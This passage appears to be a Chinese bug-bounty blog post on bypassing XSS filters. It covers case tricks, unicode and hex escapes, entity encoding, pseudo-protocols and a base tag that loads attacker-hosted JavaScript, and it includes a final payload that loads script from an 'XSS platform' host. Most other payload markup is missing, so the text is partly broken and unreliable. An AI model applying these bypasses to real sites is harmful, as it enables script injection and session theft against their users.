一.服務(wù)端全局替換為空的特性 比如某站正則 過濾了onerror 過濾了script 這些 但是“ 或者 ‘ 這這種符號會變成空可以繞過,例如代碼 利用 某字符轉(zhuǎn)換為空 來繞過 我下面寫了個挖掘案例 二.大小寫繞過 比如正則過濾了onerror script 這些 沒有設(shè)置大小寫 繞過 payload 三.進(jìn)制代替 在json這種包里 可以用\u003c 代替< 用\u003e 代替 > 還可以用\x3c 代替 < 用\x3e 代替> 下面寫了個挖掘某src的案例 四.自動閉合 比如 會被檢測 但是你不閉合就行了五.偽協(xié)議實戰(zhàn)日管理員難頂,,但是你提交src的話 還是會收的 他過濾了on函數(shù)這些 肯定用不了 但是可以用偽協(xié)議1 六.編碼繞過 這里了是過濾了 alert prompt 這些彈窗 有時候我提交 console.log(1) 但是審核會讓你證明能彈窗 我們通過事件來執(zhí)行彈窗 過濾了說的那些彈窗 就可以用編碼 像alert prompt這些 可以替換為 hex 編碼 demical編碼 unicode 編碼 html實體編碼 像alert 后面的()括號 可以替換為 hex 編碼 demical 和html 實體 實體編碼 舉個例子將a 實體化 alert 可以變成 alert(1) 對了 在里面就可以在雙引號里面用實體編碼 這樣有時候直接繞過JavaScript的限制 這里講一下B哥教的操作在X后面加很多個0 就能繞過 親測繞過比如 a 原來的實體編碼是 a 然后加了很多個0 變?yōu)閍 ps:什么,?繞不過,,多加幾個0試試 七.規(guī)定資源 這時候 過濾了on 函數(shù) 過濾 script 這些 還是有機(jī)會的這個還是有點騷氣 比如某網(wǎng)站前端加載了1.js 文件 用上面這個代碼 這個能規(guī)定這個加載哪個地方的js 所以上面加載的js就會加載www.的js 所以實戰(zhàn)就很簡單 我們用自己的網(wǎng)站 上面放個js文件 里面內(nèi)容為alert(1) 用這個代碼 讓他加載我們網(wǎng)站的js文件 挖掘某廠商案例一(根據(jù)轉(zhuǎn)換某字符為空) 我直接插入 發(fā)現(xiàn)失敗 然會一個一個代碼刪減 刪到 發(fā)現(xiàn)可以了 他就是正則過濾了onerror 而沒有直接過濾on 重新輸入 </> 到了 這里 發(fā)現(xiàn)里面替換成空了 然后利用這個特性 構(gòu)造payload 在onerror里面加個\ 這樣就繞過了正則 后面是編碼代替括號 因為過濾了括號 然后就可以了 挖掘某廠商案例二(利用\u003c 大小寫 自動閉合繞過) 這里插入payload: 會被過濾 然后用\u003img/src=1\u003e () 發(fā)現(xiàn) 內(nèi)容都變空了 將末尾的\u003e換成原來的> 發(fā)現(xiàn)內(nèi)容還是會空 用 \u003c 來代替< 后面只用了\u00c 后面不加閉合 但是過濾了onerror 函數(shù) 還是會把所有內(nèi)容變?yōu)榭?/p> 空內(nèi)容 然后試用script 來加載js 服務(wù)端會返回500 他這里出現(xiàn)這兩個 \u003c \u003e 會被檢測 \x3c 也是 然后script 出現(xiàn)也會被檢測 直接嘗試大小寫 繞過 script 改為SCriPT 利用了大小寫 繞過然后后面發(fā)現(xiàn)可以自動閉合 我們知道 也能加載js文件 /代替下空格最后payload為:\u003cScRiPt/src=xss平臺地址? 我在xss地址后面加了個問號 因為輸出的內(nèi)容里有個亂七八糟在里面 然后問號直接給他過濾掉 只加載前面的內(nèi)容 |
|